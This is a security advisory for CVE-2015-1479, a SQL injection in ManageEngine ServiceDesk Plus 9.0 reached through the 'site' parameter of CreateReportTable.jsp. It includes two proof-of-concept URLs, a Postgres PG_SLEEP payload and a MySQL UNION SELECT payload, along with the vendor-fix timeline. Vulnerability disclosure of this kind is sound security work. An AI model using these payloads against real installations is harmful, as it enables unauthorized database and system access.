ManageEngine ServiceDesk SQL Injection Vulnerability

[REWTERZ-20140101] – Rewterz – Security Advisory

Title: ManageEngine ServiceDesk SQL Injection Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: High
Advisory ID: REWTERZ-20140101
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://rewterz.com/vulnerabilities/manageengine-servicedesk-sql-injection-vulnerability

Product Introduction

ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/

Vulnerability Information

Class: SQL Injection Vulnerability
Impact: An Authenticated user could exploit this vulnerability to gain complete system access.
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE: CVE-2015-1479

Vulnerability Description

CreateReportTable.jsp page is prone to SQL injection via site variable. A user with limited privileges could exploit this vulnerability to gain complete database/system access.

Proof-of-Concept

Postgres DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND 3133=(SELECT 3133 FROM PG_SLEEP(1))

MySQL DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND UNION ALL SELECT user(),NULL,NULL,NULL,NULL

Timeine

23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor